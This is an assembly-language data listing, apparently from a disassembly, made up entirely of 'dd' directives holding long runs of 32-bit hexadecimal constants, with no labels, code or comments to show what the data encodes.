dd 0C9BD3484h, 0C421B2EEh, 0FC167326h, 9EC35007h, 8567345Ch
dd 9CAE2D42h, 1C09BF95h, 0FDEB20E2h, 9D67608h, 0FDB85658h
dd 9005061Ch, 85D4E942h, 8604B2EDh, 0BA7FA252h, 412ECD41h
dd 52B0998h, 0E8879B38h, 41B8A4E2h, 2B4AC5DEh, 0D0A70571h
dd 0DD071A2Dh, 970AD605h, 0EF106927h, 5B75432Dh, 0EDCFCB7h
dd 0BA12C4F7h, 5C263DCFh, 89D525E7h, 34B87839h, 0BA5670BAh
dd 9102569Dh, 7BE80B79h, 9197911Fh, 98808120h, 254474EDh
dd 6A13558h, 9CBF57h, 0BF03AB0Bh, 4FE70CA3h, 0F969C16Ch
dd 8B413BADh, 58FD08A9h, 1205B26Fh, 0B0B1FCE9h, 647CFA2Bh
dd 8C855ADBh, 0FC9144C5h, 5657C501h, 0C827DBCh, 7E373470h
dd 1AB58B80h, 1240DD6h, 3D183AEBh, 0F05BDE53h, 8D8A5FEAh
dd 72F37AD6h, 1C6F7B1Ah
dd 79207AFFh, 0B25F9772h, 0F534FD7Bh, 0F18AFD2Ch, 779401E2h
dd 8853C510h, 0D900F372h, 45A665Bh, 9477E96Ch, 8B68054Eh
dd 0CACC4453h, 835E0360h, 0CBF005EBh, 2213417h, 7A8EE3F0h
dd 0DB56E05Dh, 576A829Ch, 0E978377Ch, 5297631Ah, 59B9F988h
dd 2DF86ED3h, 7D62F3D4h, 87C42B21h, 5B2C78FEh, 3E0AE89Eh
dd 15BC6F0Eh, 6AAD919Ch, 0A5E0A0D0h, 9D321207h, 50B3559h
dd 43CB8FFCh, 4B35ED68h, 6F6FF56Dh, 0C4613BA1h, 0F659126Fh
dd 2CAA9713h, 0B24F3012h, 90003CEFh, 0BFB96E40h, 6D6BDABh
dd 7E0B0501h, 35D43D07h, 1AA2013Eh, 0CA2BB32Dh, 0E9A93010h
dd 0D3A5974Bh, 7D53F63Ah, 0C4AAB926h, 4A9CD2AFh, 3197C87Eh
dd 1BE0121Dh, 74E6F680h, 4C017BCEh, 5D10DBF1h, 27BC4E1Fh
dd 0FD171B17h, 0D1298AA0h, 81D3C318h, 0D6209C7h, 0E5F457BCh
dd 83FD5425h, 3E2B7004h, 99220C3Ah, 5F3CA893h, 8281F33Bh
dd 82656ACAh, 0DD9394B3h, 2AB4C659h, 0E45A40C2h, 0D4942F0Ah
dd 0C37C8B22h, 0E988B303h, 0E8F9073h, 0E50C31B4h, 79405122h
dd 23F95C01h, 0CE116000h, 0E6814652h, 0B58D578h, 90F601B6h
dd 292DB761h, 0F0018752h, 0F397B48Ah, 2E63904Dh, 89C6C951h
dd 577EAAF0h, 2A55DDB1h, 41CD6198h, 0F25330DBh, 0E21A670Bh
dd 6FAE8E50h, 31B7659Ah, 989ED2BFh, 5CB7CBECh, 8902421h
dd 0C42C8A33h, 0A077F62Dh, 6D1409AEh, 198934A9h, 0A500EDF3h
dd 5D6E7FDAh, 0E9EA1631h, 2D69F127h, 0DEC8E200h, 0C98C822Fh
dd 2ED0FD68h, 9D517626h, 731409C4h, 0F6D1D10h, 44BDBF7h
dd 0E2F8D07Dh, 4CD1F93h, 806C9D5Bh, 47BEABEBh, 0CD2DE502h
dd 0C16FBA45h, 74505D1h, 1E116804h, 62C575AAh, 2D68D32Ah
dd 8AA46CE0h, 5F0DA105h, 45F95822h, 0B168487h, 13B716DDh
dd 616C7568h, 3825ECFAh, 12889476h, 0D5EB0680h, 0B01BE1Fh
dd 67DE58DCh, 26D2A20h, 0E93CE307h, 4CD5A3F4h, 4F9150E3h
dd 5E8F0FCAh, 106B65D6h, 3A2630D4h, 0BE249671h, 976AE868h
dd 0D4BD15CEh, 7E9E25Fh, 562D1674h, 0F150658Ch, 8B942EA7h
dd 4B599B88h, 6C8DBEDDh, 5BCAF97Fh, 0D6FE04BEh, 0B0E4FF5Ah
dd 9A45E9h, 30FBB46Bh, 580CE178h, 4921BC68h, 5EBCB264h
dd 1E0E629h, 7ACC70AAh, 492E0FE9h, 4375BB72h, 0D624DA98h
dd 0ADABC028h, 0B1FAFF90h, 0B4B29895h, 0A6964Dh, 0D4F6CCFEh
dd 0ACFB252h, 350437D2h, 0A1ADAB1Fh, 176AB2D3h, 2F306BCBh
dd 2F5653BBh, 1DC4BE1h, 17AD0F4Bh, 57C3B046h, 0F6409D21h
dd 0BDC543D7h, 5FFFB951h, 59EDB31Dh, 0E9DD6045h, 42E442F8h
dd 0E2D187A7h, 0BCBAB1B7h, 657C2380h, 0E91335C9h, 0E9CC2B78h
dd 9EF6A556h, 0CB5DD45Eh, 0BBA6184h, 8864F55Fh, 6BC1295Fh
dd 5A002A8Eh, 302D0AB5h, 62666ADDh, 2D304596h, 0D627C052h
dd 0D0EA7644h, 705ADF68h, 0C4AAA125h, 0AB99D583h, 0FB2A5B9Dh
dd 60E28E32h, 952AE372h, 0A4801366h, 0D801CFEBh, 0E9CA29A2h
dd 0B26AA347h, 0A4F08F5Ch, 77EB69D5h, 5968B743h, 1896AB74h
dd 50CB8BFEh, 5180260Bh, 0FE8D0EB5h, 4A4380C5h, 92F9EE08h
dd 0E4ED3F76h, 0B4855C8Fh, 0E1E5BB6Ah, 0BE3883E1h, 0F577A94Fh
dd 0DF9344FAh, 9D565C3Bh, 0E0F1D652h, 4B56F887h, 0E1811060h
dd 3F0E5C6Fh, 0F7E94154h, 524412A1h, 0D3B4CAEEh, 538801F4h
dd 5B05EB8Bh, 0FE7B3E68h, 2214FC36h, 23B23F82h, 0B5708E20h
dd 0D6A75D5Bh, 0EFA616BCh, 10F49110h, 522D975Dh, 5A9276F4h
dd 8203C4BEh, 5707D341h, 34B13765h, 4AD5617Eh, 0C1C25412h
dd 0D6685265h, 0B01CC5Fh, 1A8A2611h, 1306800h, 81012336h
dd 0C75AC8CDh, 0A2804D14h, 0B2D1545h, 7C90D5F7h, 8D096F18h
dd 2A6C32Ah, 0E91CA904h, 2B7EB38Ah, 0D701284Ch, 4E08B8DBh
dd 0F4148F62h, 3B772768h, 0DC84F3A1h, 0C6C134ACh, 0EE488708h
dd 81DC2F55h, 0A093663h, 22A09D31h, 0C7B508h, 0DAECB80Bh
dd 930DB57Ch, 0B1D8850h, 953928BAh, 881CB3E8h, 38C0B82h
dd 0D90B7E49h, 0C850E4F5h, 504E77BAh, 0CA82D7h, 13326446h
dd 8F3DE942h, 0E2947CB5h, 0C45DA4D8h, 0D49E909Bh, 0BB20B104h
dd 240179BFh, 0C48001B1h, 3BE32076h, 0F6F98AE0h, 75A590DBh
dd 53DD0F6Eh, 0EBA606B3h, 576060Bh, 9C3AF33Ch, 347EC0CBh
dd 82871804h, 925F5C29h, 0F401F0E2h, 24689940h, 0CEDA7B54h
dd 6DD1158Bh, 0DFA9E242h, 6125D014h, 81C47378h, 531EC0EEh
dd 0CB10040Ch, 54583008h, 98863048h, 920E27DBh, 9628315Dh
dd 75B3A13Fh, 0BDA92084h, 9567BA4Ah, 0A4AA2DF4h, 95B02C75h
dd 67AA685Ah, 3B3EB258h, 3E042F9h, 0E6F2074h, 0AC512225h
dd 498305C2h, 7A359C80h, 0DA5FF466h, 58C1CBA0h, 0E501ABEDh
dd 720A3D32h, 0E267052h, 0C0E93697h, 622F686Bh, 58285AD2h
dd 810206BBh, 60272AEBh, 3C025D55h, 0DD0942C0h, 61562880h
dd 0F997AE5Fh, 1FDE2FCBh, 4AA068D8h, 3FF2CD35h, 996EED8Dh
dd 64153B73h, 76EE2F4Fh, 9875A7C1h, 2DE9F535h, 0DD9A5F03h
dd 0FB48FD38h, 8141DCB6h, 70C073EDh, 98F5F249h, 64088218h
dd 5ECA259Bh, 5224E5C6h, 2FBFF0BEh, 9C9E5F02h, 97D6D720h
dd 8628C474h, 4AC49948h, 4EAD5782h, 0ABE82DB3h, 44407B3Ah
dd 773E2E67h, 0FDE30361h, 0B066492Dh, 786E3DF3h, 50094C07h
dd 0E98A4D38h, 0A7C6B99Bh, 84CE9A63h, 1FF965Bh, 9DC791A7h
dd 545DE207h, 9FD3C2B9h, 2A5F8CA9h, 800C61DFh, 0B5EAEDF6h
dd 6DA80301h, 0C2993015h, 0DA1308BFh, 0E3BB52E4h, 14474F23h
dd 0F70B98C8h, 7B5C6CB1h, 77406CB5h, 165F0EEDh, 20AF6FE9h
dd 0FD1C1095h, 0A2B5204Bh, 5F580802h, 0F076FDB0h, 80C1DF82h
dd 0D9C77401h, 4B33640Bh, 0FCA10BE9h, 0E1905C79h, 4CFBD620h
dd 412FF550h, 20FCC464h, 0B5F7045Bh, 0A22A4251h, 7568C2C9h
dd 309FCC28h, 80109AFEh, 0EEE641C6h, 6859FD0Eh, 0BD3076D8h
dd 16FED7B7h, 0BCB151C7h, 9C882C84h, 7AF13CBAh, 523BE925h
dd 3E6F26C2h, 18ADC284h, 5CAFB959h, 0A0659D76h, 0E3160098h
dd 4F00EA4Bh, 6876CAF2h, 0B0D7ED72h, 2613FE3Ch, 0A5B40AE9h
dd 0F67DE477h, 0AC9C5A30h, 0E1C6A4ADh, 4173B55Dh, 39EA44BAh
dd 0E127B680h, 5498A2C4h, 0B4FA37D2h, 7DF313CDh, 0D8FAA4C1h
dd 112468AFh, 0D1960075h, 0ACCA7AD0h, 2A5A245Ch, 4B430220h
dd 507599B1h, 58C72D8Ch, 0E951A380h, 9C979B82h, 0A43EFDE1h
dd 503E5A4Ah, 0E67BF288h, 809A64Bh, 7DCD095Bh, 0D485FA2Fh
dd 0E64001D9h, 0ED0F2A7Dh, 6AB1751Ah, 0E9BC4CECh, 6994D02Dh
dd 3C600110h, 12960476h, 0FAFA29B5h, 5205AF2Ch, 0F74ECA6Eh
dd 10D14918h, 0BA02673Ah, 17AB0572h, 93AF1561h, 92BB5FB2h
dd 0BD006796h, 737E29ADh, 0B44097B0h, 461FB6C6h, 2C26592Ah
dd 859708A0h, 13F31FE3h, 7BF5680Ah, 310B6FACh, 0EF5DE5ABh
dd 236804E9h, 6F66986Bh, 21EE955Fh, 2F393450h, 0D72DDB32h
dd 0E55F34Ah, 0FD9E6BB1h, 832D1244h, 0DCF20C3h, 0C196DECBh
dd 68127BD0h, 5CCC8251h, 0DF4A3F6Fh, 80D5EEAh, 0E914001Ch
dd 7AC05B36h, 0E380548h, 2D170049h, 0D3270B28h, 6C4E16E9h
dd 16816534h, 7E83E67Dh, 672296B9h, 0EA5EA28Fh, 955EF2DDh
dd 9BD6EA4Ah, 1CE1090Ch, 9E5B959h, 86907013h, 9F3B22AAh
dd 5BE2027Eh, 577FB455h, 0DF188AE4h, 0AF49D1Fh, 56699719h
dd 0A99A7001h, 0A4DB104Bh, 52C7E912h, 7F11FA0h, 2B634E5Fh
dd 20AF578Dh, 1400DEB7h
dd 0F2353CC6h, 0FF3A0538h, 0F8FDF02Bh, 0FABC314Fh, 0FB02EDC0h
dd 0E4C1E942h, 7AE754BFh, 0C82D43Eh, 0E6565D08h, 12403617h
dd 35481F00h, 169B2A0Bh, 0ABC4682Dh, 573C2CCh, 0E97AD814h
dd 0E8C1A1B8h, 2624D108h, 0AFBEEA20h, 7F07894Dh, 90B3F94h
dd 2073E9DBh, 33E1BBB2h, 29571F2Fh, 5B0CCB5Ch, 0EEC0C077h
dd 46362768h, 0F8B3FD94h, 77960027h, 0EF21A018h, 55B96A81h
dd 7B011C0Dh, 0A1D7424h, 761882E0h, 12CFC22Ah, 76686600h
dd 4A08C962h, 0BE93FD8Ah, 24023F66h, 6524D7D8h, 30C812Fh
dd 0F92140B9h, 0A36E4E7Fh, 90F25E11h, 74581CCBh, 84524996h
dd 0BE07FDA4h, 4AE51F30h, 9C09AE46h, 5FD12B42h, 749DC21Eh
dd 632C43E5h, 6699625Bh, 7D108E2Ch, 135D3B03h, 6189A06Eh
dd 0BD557D40h, 913E2CF3h, 85E5011Fh, 2E51FF3Ah, 0FDF431FEh
dd 0C939215Fh, 0C53D24DDh, 0EE5B7B04h, 0D1C04D62h, 0B9C770Bh
dd 9F8AE94Fh, 25C0C455h, 7468948Eh, 80828432h, 3B1DE702h
dd 4F28307Fh, 0CB69010Eh, 17E92C0Ch, 7B804275h, 90C5E6EDh
dd 0F9B72CAFh, 5F742DD6h, 5D64AB20h, 0B1BAB859h, 7A86719Fh
dd 7151B005h, 614A29EAh, 0F8E1C2E5h, 0CED93088h, 0DD8C099Fh
dd 0A5FA67CCh, 0C3125D96h, 0C48BF2BBh, 52076272h, 0F8DB7457h
dd 3AC3C9Fh, 0EA8090B2h, 496DE148h, 7717DA37h, 25F6B62Bh
dd 1600092h, 546368C1h, 9BD103Fh, 6A3510ABh, 3EF53168h
dd 1ED20812h, 5E4FB6FBh, 3E76F8E0h, 87A51018h, 0FF28C884h
dd 0F0E21FC7h, 0B2E67F4Ah, 0ED4E3998h, 0A33095A5h, 0F33180A1h
dd 0C393DEE4h, 3700B320h, 0D66E945h, 0F32D44h, 4F760527h
dd 972578AEh, 0A3FA0E4h, 0E82C7D40h, 0B308E4E2h, 0FE482F7Ah
dd 5F2D6E8Dh, 4028565Eh, 0EE189ACFh, 5B1D315Ch, 66CBB3EDh
dd 68F8185Fh, 0F3464E09h, 734B1748h, 6010CAAFh, 3165F5DCh
dd 0D12E0661h, 0C6564DE5h, 0AA6A6718h, 0D23515CAh, 4AA2F9F1h
dd 73A9DABCh, 0C5012F87h, 0FBE98504h, 4F03D077h, 455B3A30h
dd 0C8C4C0Fh, 95192206h, 0E7BFEC00h, 2D5F7360h, 38415381h
dd 30924001h, 0F06CAE9h, 0E2D1AB66h, 2CCC41ECh, 13EC5839h
dd 6E380A9h, 0D0FCB55Bh, 58052F87h, 5E0C173h, 1D1F3780h
dd 811B0259h, 0F54151E6h, 135C60D7h, 5E2B0E5Ch, 96AF031h
dd 52D1516Ah, 0C4E03683h, 97F0E9D8h, 7D5EB2B5h, 305741C1h
dd 30065F07h, 63BF46D7h, 0DF293F0Bh, 871325CDh, 0F498BA2Ch
dd 36F401BAh, 79E91ABBh, 0D6D02D0Ch, 0BB6220BAh, 0F26E62Ch
dd 0A1244745h, 0FA815219h, 4B48E8A5h, 0EA9FF229h, 2086441Bh
dd 68171926h, 0DDA302C6h, 60D9E951h, 0F6F98800h, 0CF4ED174h
dd 0C9C707C1h, 0CBD73E31h, 0B9F7C087h, 3AEA7004h, 5B262CF8h
dd 0D83D385Ch, 0EE3EF2F4h, 2FBCB40Bh, 0E9F070FCh, 0B3674A74h
dd 3F404E32h, 71542722h, 2C450B25h, 0DD0D65F4h, 4A126F66h
dd 4003CAAAh, 48952FCCh, 827E802Bh, 12833884h, 0B95A00EAh
dd 53755091h, 0A06EF8BDh, 307940CCh, 0B20C0AAEh, 0D4B8C65Dh
dd 4143CA48h, 140CA008h, 2A8E92Dh, 5F04BDC0h, 309FA696h
dd 0FD08EC7Ch, 4E88A660h, 7E2F8C63h, 722545B8h, 5B20FE29h
dd 10A7EFB0h, 0AC67C12Ch, 0C00C4C1Ch, 4F10C21h, 151CE12h
dd 0CBD8A2F9h, 9C7DD85Fh, 8844581Ah, 0B22F6182h, 52C04172h
dd 34E1B050h, 4EBE414Fh, 0E267ECBDh, 9ECA63E8h, 51051273h
dd 48E939B1h, 0D9F6E591h, 5EE3C1F4h, 0B70BEA30h, 26CC75D7h
dd 0E8685A7Fh, 0A50B8A1Eh, 9892726Eh, 0B68D0075h, 5BFE304Ch
dd 0F0588850h, 0E9580657h, 266A7D3h, 0F86D10B8h, 0F140D157h
dd 8A486C64h, 1DB71072h, 59048048h, 0C179AD3Eh, 0D56F883Fh
dd 0CAC9F07Ch, 0DE9D402Fh, 0A46F4E90h, 9BE89FDh, 460BA754h
dd 407D5453h, 0F360EB81h, 0DC9EB150h, 77097B40h, 6FF75DD0h
dd 5F07BE07h, 6085EBE4h, 881AE46h, 61CAEA70h, 0F0200D34h
dd 0F2312C63h, 0B9F013C4h, 3DF80571h, 0AA827FBAh, 0A0410F70h
dd 6E48154Dh, 0FC0251F0h, 331E493Ah, 0A93E83Bh, 6C32BE6Fh
dd 0C4CEDF0Ch, 2916817h, 0F76ACF89h, 0AEE9C513h, 0E1EF40BEh
dd 502F7389h, 71848EA0h, 1200E76h, 88CF20CEh, 73E7D4B7h
dd 0E8914C2Dh, 1203C2E2h, 0AF0F3F22h, 75E6DE01h, 91437CBAh
dd 8BD2FFCEh, 8D136037h, 0E0300565h, 92A945E9h, 82FDFA4Dh
dd 48D1A232h, 0C9CDF458h, 0B8507506h, 82DCF63Dh, 70E94BC4h
dd 0A735F90Ch, 9B906170h, 0EF6DD509h, 0D9A8A39h, 863FAB07h
dd 0E5E7A02Bh, 6EAA7FF2h, 65620C67h, 0FE00EA0h, 2025405Eh
dd 0B012F006h, 5D584F22h, 908D357h, 34C53777h, 12349420h
dd 0E2FBB490h, 9A02CA8Fh, 0D45466E5h, 0FC7A1E88h, 4BAC5E1Eh
dd 84D05C25h, 0E906E953h, 624B4810h, 0FFF3215Eh, 42FAB940h
dd 693A2327h, 0D87C4988h, 1130BD02h, 99E16D1Bh, 10AE2A5Dh
dd 214F0B7Ah, 2373D79Eh, 0A250262Bh, 2CBA0A16h, 55F589Ah
dd 0BBC4B0EDh, 40388D8Dh, 9B7CBFBAh, 79E3A58h, 2F12ED74h
dd 0A8232FF9h, 8E5E1D80h, 0FB121DA5h, 14FD4588h, 0C854CA15h
dd 7701CB05h, 0EF938011h, 910BA4A1h, 73B7BFE9h, 0F466967Eh
dd 8909319h, 9820D020h, 31D997BDh, 26BC6861h, 8535A876h
dd 6C5C011Dh, 612B0579h, 0AE2240A5h, 6095B46Ah, 305C893Eh
dd 9FA0036Fh, 37672543h, 0CDF002BEh, 9D1D3245h, 6A7C080h
dd 2904ADE8h, 0D08DE9EAh, 82F6A2A8h, 1DBC8859h, 0FA9E5259h
dd 0F45AD509h, 8909C971h, 9BDD0207h, 148501E8h, 68D51897h
dd 0F011D348h, 5E1EEC3Eh, 0C31F4B6Ah, 3B86D8CBh, 0A025D15Eh
dd 31CB403Eh, 0C14E9F4Fh, 8939DEB4h, 2085B6Ch, 54F67FEDh
dd 95D18DA8h, 290B3B83h, 582B2728h, 0F8DDDC54h, 0B58A7DFCh
dd 7ED9B8BBh, 0F1B95073h, 3D3D5910h, 0C14DF538h, 3E6D5090h
dd 8717717h, 8535E740h, 4229290h, 37B12DBBh, 0AB6CC074h
dd 3117361Fh, 89FF52E9h, 0B4A93E3Dh, 9740E9B0h, 8063F39Fh
dd 0B36684BEh, 0F7133173h, 4304475Eh, 20ACD490h, 0EC586884h
dd 34EF5B82h, 8BCFEA35h, 24784510h, 0F925535Ah, 22DDAF9Eh
dd 9DA51F7h, 8FE17682h, 0CA066B0Ah, 1E0A0FCDh, 0AFF15DEAh
dd 3064ACC0h, 0BFF354D7h, 6050C502h, 61F77C5Eh, 844EDF2h
dd 272DB4ADh, 0C2B15705h, 385216DCh, 5CC0F304h, 92AE0B29h
dd 0FF02C1EAh, 9246F39Ch, 517CAA5Ah, 0CB805EA9h, 3EC84574h
dd 0E91D2CCFh, 5738F493h, 0AA22EAF7h, 7DC34048h, 875B2D3Ch
dd 7727FF7Ch, 0E9D14101h, 0BCC22BFEh, 73B3555Ch, 0CE54E7EAh
dd 0D0388F6Ah, 3217A03Ch, 41E873B7h, 7F02C20Bh, 0B25600F7h
dd 254E9418h, 0B0C2B0E9h, 0B5A7EEF5h, 0AA4A5EE4h, 1D3C1890h
dd 0BE994B54h, 91970E8Ah, 9EFCF5h, 5540B8h, 83B91167h
dd 315CAA42h, 543035B0h, 0BEEAB313h, 0D7A02F0Ch, 5C95FBDAh
dd 12B8CE6h, 3A0CCE27h, 0C3D6164h, 670D1313h, 0BC1A087Eh
dd 0D6EE680Fh, 3779ECCh, 5975BA47h, 0D1673BEh, 0BEE2CE31h
dd 12D3EC97h, 28215853h, 3039D14h, 9862A28Ch, 4FD4E943h
dd 9825FE91h, 7EF8382h, 0C75051BAh, 0ABD07F4Eh, 2DA81BEAh
dd 0E2708A46h, 5E56452Ch, 7D49C22Fh, 2EC68C41h, 0D44F7CFCh
dd 94D1FB2Bh, 57391F06h, 4304EE07h, 0D0A9BF2Dh, 0E30B5772h
dd 156870Dh, 0D567E884h, 0B1CD857Fh, 1A5026F4h, 7575FEE2h
dd 427F2909h, 0C7E9605Dh, 4C2B16AFh, 16D1BC28h, 63D08DADh
dd 7B7BD3C3h, 3BFFA4h
dd 568A3543h, 0F71F344Fh, 709D0DD8h, 362D3B00h, 0BCF4177h
dd 37E9C589h, 7C5FD342h, 1E978238h, 0D1F46410h, 8308E20Bh
dd 9BC9B829h, 0D729E24Ch, 32590529h, 0A0BD762Dh, 22477F94h
dd 5D5A5263h, 8BE9D403h, 35B00177h, 1C0E3A6Bh, 0B8B07B31h
dd 0F4814E9Fh, 0AB5E3374h, 0C8B88E32h, 0F3E8281Fh, 0D6191E7Ah
dd 68D881E0h, 0E548F653h, 5280A2AFh, 0F86A50B6h, 0C8298069h
dd 50E10506h, 303E1941h, 8071AF3Ah, 2C3977C2h, 58DB3A26h
dd 4D01DE1h, 0F0E97839h, 3C417BE9h, 0B914C52Fh, 89BF27C8h
dd 0C3C7751Fh, 0F4FA5512h, 0E648894Fh, 79280404h, 93C04E52h
dd 0A2FA0BFDh, 28C0D7CFh, 0A72D92D0h, 2F87D2E6h, 54513D08h
dd 81E4DF6Bh, 0CB9AF390h, 0DA0554Eh, 0A981D40h, 14F7CB4Fh
dd 2E92B5Dh, 412BBC0Eh, 0E27B6E6Bh, 395E04B9h, 46C060B3h
dd 12913B9Fh, 0C5E1C12Dh, 0F1070056h, 38056E3Eh, 2280E4EDh
dd 490C9A18h, 3E69A56Eh, 3ECC79B6h, 6674AF0Bh, 0C96CE2F7h
dd 0D47B63BBh, 0BB9184A9h, 0E9F07BB8h, 2AD264C5h, 0F8D287A9h
dd 9D05A582h, 0E6AECFC8h, 4E169256h, 4E86BE86h, 6B98F1F1h
dd 14C9B3B7h, 542C33F8h, 0FAE0CF58h, 7531803h, 7C99E681h
dd 925DE908h, 1138E36h, 0A067E902h, 29138A3Fh, 0F017E564h
dd 857571EFh, 70D86A20h, 75965E3Fh, 11213CBh, 9D7E8F12h
dd 58D84018h, 0CCA8AA76h, 12FFD34h, 2D7356E5h, 0FAD8279Bh
dd 4195ECE9h, 8266BE8Dh, 4E277500h, 6D6CE901h, 2BA16C5h
dd 0ED5BA4F2h, 19784DD4h, 0D753941Fh, 3FACE12Eh, 254BDB07h
dd 6BE90F60h, 0C9F9B523h, 0AF7DCF0Ah, 40C38062h, 0AA96DE89h
dd 0CDD25D78h, 447F4895h, 0A27AE176h, 0B161A47Bh, 0B087F101h
dd 0B62334Ch, 0F808B87Fh, 61FFC11Dh, 6E06FB1Ah, 0A25D6683h
dd 42DB89D8h, 7280DC25h, 7F11C2D7h, 84692A71h, 2E8C4D33h
dd 0EEEFD75Ah, 0E9530E91h, 24B7F6F2h, 0EF9A3B77h, 80573266h
dd 0B80A8498h, 0AF53599Ch, 0CB68FA01h, 422D585Fh, 0F1565B06h
dd 0B5D5E16h, 7F44A98Bh, 520E6B8Fh, 0C4502BC4h, 65CAEE98h
dd 0CDCEBA96h, 6428BE5Bh, 1B3B5031h, 0A33516F0h, 0EAC7137Bh
dd 0C5DE3362h, 0B7A2A7C2h, 5A00EF71h, 97E4C580h, 6A89AA41h
dd 0C00FC7ECh, 0B24005EDh, 51E28084h, 841506CFh, 0EC1F04EAh
dd 7748258Ah, 6412C4E1h, 0E08760C7h, 8067F562h, 0B0F89AFEh
dd 14C5F8E0h, 0CF30485Bh, 5026F010h, 2D05C858h, 0E5C4119h
dd 4DB8DFC4h, 2E15995Ah, 0DC86F235h, 0F75D5BBFh, 0DB9D7F00h
dd 2E90572h, 3BCFAA18h, 0BD16BE5Ah, 4D69CDE3h, 0DDE4AED0h
dd 385C0580h, 1BE323Dh, 0B0161D48h, 0DC8C215Bh, 0D657C281h
dd 9985CF6Ah, 8B67F961h, 0D4F0A9C6h, 28051D73h, 906A1791h
dd 0CEDC05EAh, 0A157EC46h, 75D24F29h, 6805646Fh, 71FB4F35h
dd 0A85A3230h, 832D1A70h, 0F7651090h, 556815DBh, 7E2F9317h
dd 8018E389h, 93BE822Bh, 3EFF6E6Bh, 10283AA4h, 40021DA3h
dd 0B24F0525h, 169E183Bh, 292D6807h, 0FC739864h, 6088E509h
dd 5216221Dh, 5416911Eh, 13BA72A0h, 0BB15312Ch, 0EA222D04h
dd 9277ADAAh, 0E99B61BBh, 2E4C75EBh, 94B988F0h, 0CED425FFh
dd 80745758h, 7AEEDFF7h, 530E5560h, 27155968h, 0A5F632B1h
dd 0EEC5E964h, 5E3B44Eh, 0FAB637h, 84F7C426h, 0DE2C09E2h
dd 0FE073E5Bh, 0C2CDF2Ch, 0E74A1313h, 5C8F24Eh, 645F50D9h
dd 5BD0B4BBh, 5F95B4A4h, 0ED5D798Bh, 0EFD72523h, 20EBAA1Fh
dd 0BD03C49Eh, 20F341C5h, 18C3DF29h, 0F2650297h, 1743595h
dd 0D3559080h, 1DB1DB38h, 9C1DCF13h, 0E4D09860h, 4904B4E1h
dd 2F92525Dh, 0D0D951F9h, 96E1B88h, 3D68F2E9h, 541C2CEAh
dd 24BD6A5Fh, 7002CBDAh, 60715B6Fh, 27246718h, 0A1D71D0Fh
dd 987E9DBh, 0A9313E93h, 8FBF977Ch, 0A6B84B97h, 38E601B2h
dd 0F4685C12h, 0F3EAA485h, 0DF53DA04h, 44922636h, 0CF40355Fh
dd 6A3D6852h, 62EB223h, 0BE9FFC2h, 6C41C15Bh, 0A0553DE4h
dd 1637B0A1h, 0A958C688h, 5AF089E4h, 0CBF931C1h, 78C9FE2Ah
dd 0BE98749Eh, 0A641F13Fh, 85A432D3h, 0B7517950h, 3FF04C99h
dd 50D2A587h, 1B7AFDD4h, 0B0A8EB97h, 0CA272518h, 1DCA0616h
dd 371E01A9h, 8259CD31h, 69A1EA24h, 75E277BAh, 0D30F6D64h
dd 377E3C7Dh, 3476CFFEh, 9DBA1936h, 3C526B43h, 5712D5B2h
dd 87F6BB53h, 78E0709Eh, 364CF910h, 128810B3h, 0AFC33D7Dh
dd 8058D11Dh, 0F2DEFCBh, 0B826E93Ch, 8F48B8A9h, 0BD6FF2AFh
dd 21B7EFD8h, 2802959Ah, 95DF9CA8h, 0ECB52146h, 68F84092h
dd 4613D027h, 20033D0Ch, 0E1BD6F81h, 2A7F0D47h, 0A7E9E805h
dd 0EBA0B5AAh, 18514B32h, 6BE5D782h, 98A35217h, 424900D2h
dd 0E9792D20h, 0F0B09F2Eh, 6409F09Fh, 1DB62F0Fh, 3BB907A0h
dd 0A2257466h, 93A0584Bh, 78A222F6h, 0C2E9C34Eh, 9762F389h
dd 99CFC5Fh, 0B5F8EFC1h, 4532780Bh, 8A2B8021h, 12E8C70Eh
dd 0FB9E5EE9h, 1B13C6A3h, 9E22EBADh, 68364156h, 0B28A406Fh
dd 8732CF3Ah, 0A4FDE7Dh, 78F54990h, 0AA9226DFh, 7A603A1h
dd 0C055C71h, 31DB0E23h, 8BD50EFh, 0F140C68h, 4A78BEE9h
dd 0F37E8746h, 0A212A5E4h, 0B9B1A947h, 133F1D61h, 0A7C4F894h
dd 757A06E2h, 0AFC11593h, 0E18C2F8Ah, 0FE790BB5h, 80DFF6CDh
dd 0EA88E4FBh, 68660959h, 685D2DD7h, 95BE8A7Ah, 0A1BC784Eh
dd 0A5AD256Ah, 3CFA5294h, 344DE951h, 0DACD4A96h, 0BC5B4293h
dd 7F712A1h, 0A431D488h, 6137FAE5h, 0EF8084BDh, 646EE0D1h
dd 4BE411BDh, 0CEFC2375h, 0E6C01D42h, 54F68B02h, 62256256h
dd 0BB338722h, 0DD75221h, 4BBDC440h, 0F600B561h, 4E797AF8h
dd 5221E91Ch, 6B947727h, 91480CFCh, 1FD382CAh, 0B93D616Ch
dd 0BEC3C56Bh, 0A37FE99Dh, 3408D33Ch, 0AE3501D6h, 0E80A7366h
dd 1DBB89B7h, 0E2232C02h, 5B26C15Ch, 0F3E9068Bh, 2C567AACh
dd 6F167595h, 753FC20h, 7A221AB9h, 0AA38A57Eh, 10A22CB4h
dd 4A2E6751h, 281CE50h, 0C1F5F35h, 0B7A5731h, 4B97D277h
dd 659648E8h, 0EA50F212h, 0BA4AD9F2h, 0DC829524h, 33446A2h
dd 6E1D6857h, 8FF13B0Ah, 0EA6F8FB5h, 17098FC5h, 59978506h
dd 0CBD29DB3h, 30E112BDh, 0BD55A6h, 0B465B3Bh, 0EB6DC6BEh
dd 0CDBC4C5Bh, 5D10012Dh, 0B69950A1h, 26E6F3ADh, 82DAB2A9h
dd 0FFEC5105h, 55ECEBC0h, 0D49779A2h, 840820EBh, 48C52089h
dd 4D80DAC4h, 945FE1CCh, 2818897Bh, 5012F3CEh, 29AA5854h
dd 0BDED2E61h, 771D1880h, 2B5FE917h, 0CEBF440h, 5CA542E5h
dd 0AE17E409h, 0E0A6C9F6h, 10C9A845h, 0E1BF3358h, 0D9815496h
dd 3EB52BF6h, 6F922F23h, 13A35457h, 5417AF51h, 0AE5AE5CBh
dd 0FF55B92Ah, 4832CF2Ah, 0C4AEB5F6h, 3AA4F10Fh, 6556718Bh
dd 1998F10h, 0E23B34BAh, 0A42F4A43h, 9D0CF2A2h, 0C79CC1Ch
dd 0AF70576h, 0C2D629EDh, 0DD2932ABh, 0C00F8F3Ah, 0C24936E5h
dd 3D87C32h, 2DFF595Fh, 0C4A03CB6h, 0FE07B638h, 0C5E872C1h
dd 1A34187Fh, 4F06735Bh, 872DEA29h, 0D4F6A480h, 0D701F5F9h
dd 0DEC9D29Ch, 0E9255602h, 0AF01E3FAh, 0BF7E4FF6h, 5359C079h
